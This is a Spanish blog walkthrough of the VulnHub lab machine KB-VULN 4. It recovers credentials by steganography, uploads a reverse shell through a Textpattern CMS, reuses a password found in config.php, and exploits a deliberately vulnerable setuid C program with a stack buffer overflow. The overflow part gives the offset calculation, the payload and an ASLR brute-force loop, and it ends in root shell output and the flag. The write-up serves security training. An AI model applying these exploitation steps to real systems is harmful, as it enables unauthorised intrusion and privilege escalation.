martes, 2 de agosto de 2022

BREAKING KB-VULN: 4 FINAL: buen ejemplo de buffer overflow con ASLR activado

 https://www.vulnhub.com/entry/kb-vuln-4-final,648/

Nivel: quizá medium (sobre todo por la parte de buffer overflow)

- ports: 80,22, la web parece hackeada de por sí (;)) y tiene un textpattern instalado. Después de probar varias cosas parece que lo único viable es loguear, pero no tenemos las claves

- de la página principal sacamos que ha sido un tal machineboy141 que dice que lo busquemos. Usamos sherlock y vamos al github asociado. Miramos varias cosas y parece que el objetivo es KB-DUMP, en cuyo zip hay varias imágenes (parece Mr Robot). Hacemos stego con stegseek y automáticamente saca en 3 imágenes texto oculto del que deducimos que es para loguear en el textpattern. Sabemos que el login tiene que ser admin, luego hacemos ROT47 y encontramos el descifrado (https://www.dcode.fr/cipher-identifier). Para loguear hace falta además actualizar la password: contiene 2020, pero la máquina es de 2021, actualizamos y ya... (ojo a esto que es bastante habitual en usuarios normales)

- una vez dentro solo hay que subir un shell reverse en la opción files, acceder a él y tenemos shell apache. Lo siguiente es escalar privilegios, subir en este caso al usuario machineboy (lo suyo es mirar en passwd o en home directamente para ver qué usuarios hay, pero con passwd sabemos el nivel de privilegio de cada uno)

- así que hay que entrar en machineboy. En el config.php de textpattern nos da una clave: ghostroot510 asociada al usuario textuser, y siempre hay que comprobar las claves, con machineboy y dentro.

- machineboy tiene privilegios lxd, pero no funciona la vulnerabilidad. Tenemos sin embargo en su home un script install root que parece debemos romper, hacer bufferoverflow. Nos da el código c y tenemos el gdb-peda instalado (así que está claro)

- install.c

#include <stdio.h>
#include <stdlib.h>
void spawn_shell()
{
     setuid(0);
     system("/bin/bash");
}
int main()
{
      char buff[30];
      const char *env = getenv("INSTALLED");
      if(env != NULL)
      {
        strcpy(buff,env);
        printf("%s\n",buff);
      }
      else
      {
         system("sudo apt install sl");
         system("export INSTALLED=OK");
      }
     return 0;
}

- es un ejemplo sencillo pero pedagógico para ver cómo funciona esto. Veamos:

al ejecutarse comprueba si hay una variable environment INSTALLED con algún valor, si la hay llena buff con su valor y lo imprime. Si no, ejecuta el apt install y exporta la variable.



Dos cosas:

1º que la función spawn_shell no se ejecuta nunca a no ser que accedamos a ella directamente por buffer overflow

2º que el punto de entrada es obviamente la variable buff



Lo primero además es comprobar si la máquina tiene aslr activado

cat /proc/sys/kernel/randomize_va_space 

y lo tiene, luego el programa va cambiando la dirección de carga en memoria.


La aleatoriedad en la disposición del espacio de direcciones (conocida por las siglas en inglés ASLR) es una técnica de seguridad informática relacionada con la explotación de vulnerabilidades basadas en la corrupción de memoria. Con el fin de impedir que un atacante salte de forma fiable a, por ejemplo, una función explotable en concreto de la memoria, ASLR dispone de forma aleatoria las posiciones del espacio de direcciones de las áreas de datos clave de un proceso, incluyendo la base del ejecutable y las posiciones de la pila, el heap y las librerías.


Bajamos el programa a nuestra máquina, desactivamos aslr y en estático con gdb calculamos el payload que nos permita alcanzar la función spawn_shell que ejecuta el shell en root.

La inyección se hace a través de la variable env INSTALLED que comprueba e imprime.

1. Creamos un pattern con metasploit

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000

2. lo metemos en el env 

export INSTALLED=Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

(se puede hacer con menos, sabemos que el buffer es de 30, pero en situaciones random hay que calcularlo a ciegas)

3. y en gdb-peda ejecutamos, fijándonos en la salida segmentada (si no segmenta aumentar el pattern)

Stopped reason: SIGSEGV
0x41346241 in ?? ()

4. Calculamos la longitud del payload con metasploit

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x41346241
[*] Exact match at offset 42

5. Luego el payload debe tener longitud 46, los 42 caracteres random para el overflow y debemos sobreescribir EIP donde pondremos la dirección de spawn_shell. Para comprobar que todo funciona podemos hacer 

export INSTALLED=$(python -c "print(b'\x42' * 42 + 'K'*4)")

y comprobar en gdb-peda que EIP se llena con "KKKK".

6. En lugar de las k's metemos la dirección buscada: en gdb-peda: info line spawn_shell. Con eso sabemos que funciona en estático, pero en la máquina víctima con aslr activado hay que bruteforcearlo porque las direcciones varían pero no mucho. Antes de eso hacemos el gdb en la máquina víctima para ver la dirección de la función spawn_shell y actualizamos el payload, y después basta con hacer

for i in {1..500}; do ./install; done

en unas pocas iteraciones romperá correctamente:

Segmentation fault (core dumped)
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF�cV
Segmentation fault (core dumped)
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF�cV
root@kb-server:~# id
uid=0(root) gid=1000(machineboy) groups=1000(machineboy),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
root@kb-server:~# cd /root
root@kb-server:/root# ls
root.txt
root@kb-server:/root# cat root.txt
 ________________
< congratulations >
 ----------------
       \   ,__,
        \  (oo)____
           (__)    )\
              ||--|| *
 
                          kernelblog.org
                          
cdf323526dbbd53d572d485fdd37d518
root@kb-server:/root# 




No hay comentarios:

Publicar un comentario